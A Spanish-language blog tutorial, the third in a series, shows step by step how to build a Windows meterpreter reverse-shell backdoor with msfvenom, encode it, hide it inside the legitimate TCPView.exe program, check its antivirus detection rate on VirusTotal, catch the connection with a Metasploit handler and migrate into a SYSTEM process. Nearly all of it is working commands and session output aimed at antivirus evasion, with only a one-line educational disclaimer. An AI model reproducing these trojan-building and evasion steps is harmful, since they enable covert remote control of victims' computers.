Metasploit: de ENCODING y PAYLOAD va la cosa (III)

















En la primera parte se hizo una introducción a los comandos de #Metasploit para la creación y manipulación de los PAYLOAD, realizando un ejemplo de utilización, en particular con el comando msfpayload

Ya en la segunda entrega, se trabajo con el comando msfencode para aplicar técnicas de evasión de IDS/IPS/AV a un PAYLOAD determinado, el objetivo es conseguir un ejecutable para windows con el menor número de detecciones posible en virustotal.

Si recordáis, en los ejemplos propuestos en el artículo anterior, con msfencode, no se logró reducir el número de detecciones, siendo nuestro ejecutable (backdoor4.exe) detectado por la gran mayoría de los sistema de Antivirus, en el artículo de hoy, se va a generar un ejecutable utilizando msfvenom y veremos como facilita las cosas en el nuevo comando con respecto a los anteriores. 

INDICE:  Parte 1 | Parte 2 | Parte 3                                                                                                                                                 

Ejemplos de USO (tercera parte)

Ante de comenzar conviene recordar en que consiste el comando msfvenom. Es un comando que unifica msfpayload y msfencode en uno solo, mayor rapidez y facilidad de uso. Además de incluir la capacidad de introducir NOPS al ejecutable generado, proporcionando otra forma más en el intento de evitar ser detectado por el sistema antivirus.

Ejemplo 3:

Vamos a comenzar por el principio, puesto que el comando msfvenom unifica el PAYLOAD y las técnicas de ENCODING bajo uno solo.

>> Paso 1: La elección del PAYLOAD                                                                                                      

En la segunda parte, ya empezamos a intuir que la elección del PAYLOAD es fundamental para evitar ser detectado, tanto o incluso más aún que la técnica de ofuscación del código que utilicemos, pues la detección heurística de los sistema antivirus enfatiza su detección en la carga (payload). Bueno dejemos de lado, la filosofía del funcionamiento de los antivirus para centrarnos en el artículo.

root@ST2Labs > msfvenom --list payloads

msfvenom --list payloads [Listar los payloads disponibles]
>> Paso 2: Configuración de los parámetros de PAYLOAD                                                                      

Para ver que parámetros de configuración son necesarios para el PAYLOAD escogido (windows/meterpreter/reverse_ord_tcp), se ejecuta lo siguiente:

root@ST2Labs > msfvenom -p windows/meterpreter/reverse_ord_tcp -o

msfvenom -o [ Ver las opciones de configuración del payload]
La elección del PAYLOAD (windows/meterpreter/reverse_ord_tcp) incluye la conexión inversa del tipo ORD, para generar un PAYLOAD con toda la funcionalidad de meterpreter con un menor tamaño, que nos ayude en nuestra tarea de evadir al Antivirus.

Llego el momento, ahora que tenemos el PAYLOAD, se va generar el fichero ejecutable con un sólo comando:

>> Paso 3: Generación del ejecutable (EXE)                                                                                             

En esta ocasión he decidido cambiar el nombre del archivo generado por p.exe, en el ejemplo veréis que voy por la prueba número seis, es decir p6.exe, las anteriores pruebas han sido probando con otros PAYLOAD y el resultado ha sido similar, por lo que no he creído interesante incluirlo en el artículo.

root@ST2Labs > msfvenom -p windows/meterpreter/reverse_ord_tcp -e x86/shikata_ga_nai -b '\x00\x20\x0a\x0d' -i 20 -f exe LHOST=192.168.2.105 > p6.exe 

msfvenom [Generación de EXE con encoding x86/shikata_ga_nai]
Como se puede observar en la imagen superior, se ha utilizado el encoding x86/shikata_ga_nai con la restricción del uso de los caracteres '\x00\x20\x0a\x0d', y el PAYLOAD comentado en las líneas anteriores.

El resultado de virustotal es:

Análisis de virustotal.com
¿Qué esta pasando? Parece que los motores de antivirus tienen identificado al PAYLOAD meterpreter generado por metasploit, a pasar de incluir la ofuscación polimórfica. Pero ¿esta todo perdido? 

>> Paso 4: Utilización de template (EXE)                                                                                                    

El template tomar como modelo en la generación la estructura de otro ejecutable no malicioso para la generación del ejecutable (EXE) final. Para este ejemplo utilizare el programa TCPview.exe.

root@ST2Labs > msfvenom -p windows/meterpreter/reverse_ord_tcp -e x86/shikata_ga_nai -b '\x00\x20\x0a\x0d' -i 20 -f exe -x Tcpview.exe LHOST=192.168.2.105 > tcpviewmod.exe 

Parece apropiado nombrar en esta ocasión al fichero como tcpviewmod.exe, lo subimos a virustotal y:

Análisis virustotal para PAYLOAD con template tcpview.exe
¡¡ Tachán !! Acabamos de reducir considerablemente la capacidad de detección de nuestro ejecutable, sin embargo, los principales motores de antivirus siguen detectando nuestro ejecutable.

Se empieza a intuir que la utilización del template nos ha ayudado, ha creado un ejecutable con una estructura similar al TCPview.exe, y ha funcionado, ¿significa esto que la efectividad de la evasión rádica en la estructura que genera el ejecutable? o ¿la capacidad de generar un ejecutable que no se parezca en nada a un ejecutable con payload meterpreter por defecto? La respuesta es ambas cosas, de ahí que se utilicen las técnicas de ofuscación (encoding).

>> Paso 5: Utilización del formato exe-small, generación de un ejecutable diferente al normal y/o por defecto.

Sin template: TCPview.exe
Opción_ exe-small
Nombre: tcpviewmod2.exe (simplmente para guardar relación con el paso 4)

root@ST2Labs > msfvenom -p windows/meterpreter/reverse_ord_tcp -e x86/shikata_ga_nai -b '\x00\x20\x0a\x0d' -i 20 -f exe-small LHOST=192.168.2.105 > tcpviewmod2.exe 

Lo subimos a VirusTotal:

Análisis virustotal para PAYLOAD con generación exe-small.
¡¡ Tachán !!  ¡¡ Tachán !! ¡¡ Tachán !! 
Acabamos de generar un ejecutable que es detectado por tan solo el 26% de los motores de antivirus, aquí se incluyen algunos como por ejemplo (TrendMicro / Symantec):


O Karpesky y Windows Defender (Microsoft), ver imagen siguiente:


Os invito a vosotros a realizar vuestras propias pruebas, por supuesto:
El contenido de este artículo es meramente informativo y/o con fines educativos, no me hago responsable del uso que de él se pueda hacer.

Sin embargo, por algún motivo que por el momento no he sido capaz de desenmascarar el ejecutable generado tcpviewmod2.exe con exe-small (~5Kbytes) no funciona correctamente ;(

                                                                                                                                                                 

Generando un EXE para las pruebas
Template: Tcpview.exe
Payload: windows/meterpreter/reverse_tcp
Creación nuevo hilo sobre el template= true
Encoding: x86/shikata_ga_nai
Restricción de caracteres= yes (\x00\x20\x0a\x0d)

root@ST2Labs > msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00\x20\x0a\x0d' -i 10 -f exe LHOST=192.168.2.105 LPORT=80 > tcpviewRmod80.exe 



Resultados VT (virustotal) 28/45 (62%) | Principales motores de antivirus lo detectan correctamente, con la salvedad de TrendMicro puede comprobarse usando el siguiente hash || SHA256: 8bfb89a906540d8f553914c88f8db5102224e0be8064093e8617e845f4d4a528

>> Paso 6: Probando el funcionamiento de tcpviewRmod80.exe                                                                 

Para finalizar el artículo y confirmar la utilidad de los ejemplos anteriores voy a mostrar que hay varias formas de gestionar la conexión del backdoor que se ha generado en el ejecutable, la primera sería utilizando la consola de comandos de #Metasploit, y configurando el exploit/multi/handler para nuestro menester.

O la segunda, más apropiado para el este caso, es utilizar el comando msfcli, nos permite interactuar en la línea de comandos de Linux con el framework de metasploit llegando al mismo fin , pero con menos comandos, veamos con un ejemplo:

Configuración de #Metasploit para gestionar la conexión inversa de Meterpreter, utilizando para ello MSFCLI.

root@ST2Labs > msfcli -h

msfcli -h [Muestra el menú de ayuda]
root@ST2Labs > msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=192.168.2.105 LPORT=80 EnableContextEncoding=true E


Recordamos el escenario:


Se ejecuta tcpviewRmod80.exe en el Windows, y se obtiene una sesión de meterpreter, finalizando a sí nuestro objetivo.

Ejecución de tcpviewRmod80.exe

Se puede ver en la imagen siguiente, como la consola de Metasploit, recibe una conexión al puerto 80, y se crea una sesión meterpreter con la victima.


msfcli [Metasploit server meterpreter]
Nota: Al utilizarse Tcpview.exe como ejecutable y ser utilizado para cargar meterpreter en un hilo del mismo, meterpreter se esta ejecutando con el PID (el proceso tcpviewRmod80.exe), ahora podríamos usar migrate para mover meterpreter a otro proceso más estable. De esa forma, si el usuario cierra el programa tcpviewRmod80.exe meterpreter seguirá ejecutándose en el sistema.

>> Paso 7: Migrando meterpreter a un proceso más estable con privilegios SYSTEM                               

Comando ejecutados en la consola de "meterpreter" para llevar la migración del proceso meterpreter.

meterpreter > sysinfo 
Computer        : MNT_USER
OS              : Windows XP (Build 2600, Service Pack 3).
Architecture    : x86
System Language : es_ES
Meterpreter     : x86/win32
meterpreter > getpid 
Current pid: 120
meterpreter > ps

Process List
============

 PID   PPID  Name                              Arch  Session     User                 Path
 ---   ----  ----                              ----  -------     ----                 ----
 0     0     [System Process]                        4294967295                       
 4     0     System                            x86   0                                
 120   1576  tcpviewRmod80.exe                 x86   0           MNT_USER\admin       C:\Intercambio documentos\tcpviewRmod80.exe
 240   700   vmtoolsd.exe                      x86   0           NT AUTHORITY\SYSTEM  C:\Archivos de programa\VMware\VMware Tools\vmtoolsd.exe
 568   4     smss.exe                          x86   0           NT AUTHORITY\SYSTEM  \SystemRoot\System32\smss.exe
 632   568   csrss.exe                         x86   0           NT AUTHORITY\SYSTEM  \??\C:\WINDOWS\system32\csrss.exe
 656   568   winlogon.exe                      x86   0           NT AUTHORITY\SYSTEM  \??\C:\WINDOWS\system32\winlogon.exe
 700   656   services.exe                      x86   0           NT AUTHORITY\SYSTEM  C:\WINDOWS\system32\services.exe
 712   656   lsass.exe                         x86   0           NT AUTHORITY\SYSTEM  C:\WINDOWS\system32\lsass.exe
 780   700   alg.exe                           x86   0                                C:\WINDOWS\System32\alg.exe
 880   700   vmacthlp.exe                      x86   0           NT AUTHORITY\SYSTEM  C:\Archivos de programa\VMware\VMware Tools\vmacthlp.exe
 904   700   svchost.exe                       x86   0           NT AUTHORITY\SYSTEM  C:\WINDOWS\system32\svchost.exe
 1008  1576  notepad.exe                       x86   0           MNT_USER\admin       C:\WINDOWS\system32\NOTEPAD.EXE
 1012  700   svchost.exe                       x86   0                                C:\WINDOWS\system32\svchost.exe
 1084  1100  wscntfy.exe                       x86   0           MNT_USER\admin       C:\WINDOWS\system32\wscntfy.exe
 1100  700   svchost.exe                       x86   0           NT AUTHORITY\SYSTEM  C:\WINDOWS\System32\svchost.exe
 1156  700   wmiapsrv.exe                      x86   0           NT AUTHORITY\SYSTEM  C:\WINDOWS\system32\wbem\wmiapsrv.exe
 1188  700   svchost.exe                       x86   0                                C:\WINDOWS\system32\svchost.exe
 1272  700   svchost.exe                       x86   0                                C:\WINDOWS\system32\svchost.exe
 1328  1576  reverse_tcp_sin_encoding_p13.exe  x86   0           MNT_USER\admin       C:\Intercambio documentos\reverse_tcp_sin_encoding_p13.exe
 1404  700   spoolsv.exe                       x86   0           NT AUTHORITY\SYSTEM  C:\WINDOWS\system32\spoolsv.exe
 1576  1548  explorer.exe                      x86   0           MNT_USER\admin       C:\WINDOWS\Explorer.EXE
 1644  1576  jusched.exe                       x86   0           MNT_USER\admin       C:\Archivos de programa\Java\jre6\bin\jusched.exe
 1672  1576  vmtoolsd.exe                      x86   0           MNT_USER\admin       C:\Archivos de programa\VMware\VMware Tools\vmtoolsd.exe
 1680  1576  ctfmon.exe                        x86   0           MNT_USER\admin       C:\WINDOWS\system32\ctfmon.exe
 1824  700   svchost.exe                       x86   0           NT AUTHORITY\SYSTEM  C:\WINDOWS\System32\svchost.exe
 1912  700   jqs.exe                           x86   0           NT AUTHORITY\SYSTEM  C:\Archivos de programa\Java\jre6\bin\jqs.exe
 2000  700   svchost.exe                       x86   0           NT AUTHORITY\SYSTEM  C:\WINDOWS\system32\svchost.exe


meterpreter > getuid
Server username: MNT_USER\admin
meterpreter > ps

Process List
============

 PID   PPID  Name                              Arch  Session     User                 Path
 ---   ----  ----                              ----  -------     ----                 ----
 0     0     [System Process]                        4294967295                       
 4     0     System                            x86   0                                
 120   1576  tcpviewRmod80.exe                 x86   0           MNT_USER\admin       C:\Intercambio documentos\tcpviewRmod80.exe
 240   700   vmtoolsd.exe                      x86   0           NT AUTHORITY\SYSTEM  C:\Archivos de programa\VMware\VMware Tools\vmtoolsd.exe
 568   4     smss.exe                          x86   0           NT AUTHORITY\SYSTEM  \SystemRoot\System32\smss.exe
 632   568   csrss.exe                         x86   0           NT AUTHORITY\SYSTEM  \??\C:\WINDOWS\system32\csrss.exe
 656   568   winlogon.exe                      x86   0           NT AUTHORITY\SYSTEM  \??\C:\WINDOWS\system32\winlogon.exe
 700   656   services.exe                      x86   0           NT AUTHORITY\SYSTEM  C:\WINDOWS\system32\services.exe
 712   656   lsass.exe                         x86   0           NT AUTHORITY\SYSTEM  C:\WINDOWS\system32\lsass.exe
 780   700   alg.exe                           x86   0                                C:\WINDOWS\System32\alg.exe
 880   700   vmacthlp.exe                      x86   0           NT AUTHORITY\SYSTEM  C:\Archivos de programa\VMware\VMware Tools\vmacthlp.exe
 904   700   svchost.exe                       x86   0           NT AUTHORITY\SYSTEM  C:\WINDOWS\system32\svchost.exe
 1008  1576  notepad.exe                       x86   0           MNT_USER\admin       C:\WINDOWS\system32\NOTEPAD.EXE
 1012  700   svchost.exe                       x86   0                                C:\WINDOWS\system32\svchost.exe
 1084  1100  wscntfy.exe                       x86   0           MNT_USER\admin       C:\WINDOWS\system32\wscntfy.exe
 1100  700   svchost.exe                       x86   0           NT AUTHORITY\SYSTEM  C:\WINDOWS\System32\svchost.exe
 1156  700   wmiapsrv.exe                      x86   0           NT AUTHORITY\SYSTEM  C:\WINDOWS\system32\wbem\wmiapsrv.exe
 1188  700   svchost.exe                       x86   0                                C:\WINDOWS\system32\svchost.exe
 1272  700   svchost.exe                       x86   0                                C:\WINDOWS\system32\svchost.exe
 1328  1576  reverse_tcp_sin_encoding_p13.exe  x86   0           MNT_USER\admin       C:\Intercambio documentos\reverse_tcp_sin_encoding_p13.exe
 1404  700   spoolsv.exe                       x86   0           NT AUTHORITY\SYSTEM  C:\WINDOWS\system32\spoolsv.exe
 1576  1548  explorer.exe                      x86   0           MNT_USER\admin       C:\WINDOWS\Explorer.EXE
 1644  1576  jusched.exe                       x86   0           MNT_USER\admin       C:\Archivos de programa\Java\jre6\bin\jusched.exe
 1672  1576  vmtoolsd.exe                      x86   0           MNT_USER\admin       C:\Archivos de programa\VMware\VMware Tools\vmtoolsd.exe
 1680  1576  ctfmon.exe                        x86   0           MNT_USER\admin       C:\WINDOWS\system32\ctfmon.exe
 1824  700   svchost.exe                       x86   0           NT AUTHORITY\SYSTEM  C:\WINDOWS\System32\svchost.exe
 1912  700   jqs.exe                           x86   0           NT AUTHORITY\SYSTEM  C:\Archivos de programa\Java\jre6\bin\jqs.exe
 2000  700   svchost.exe                       x86   0           NT AUTHORITY\SYSTEM  C:\WINDOWS\system32\svchost.exe


meterpreter > migrate 2000
[*] Migrating from 120 to 2000...
[*] Migration completed successfully.

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > 


Y para finalizar, aquellos que se hayan quedado con el gusanito de continuar y conseguir que el antivirus no detecte su "ejecutable" le recomiendo que lea detenidamente el siguiente artículo: "Facts and myths about antivirus evasion with Metasploit", seguro que no os defraudará.


>ST2Labs
#Pentesting #Rulez


3 comentarios:

  1. genial...està buenisimo Julian y muy bien explicado para los que somos màs novatos...10 10 10....

    ResponderEliminar
  2. Muchas gracias muy buenos los artículos!! excelente explicación..!

    ResponderEliminar
  3. muchas gracias por publicar estos ejercicios, !!!!!

    ResponderEliminar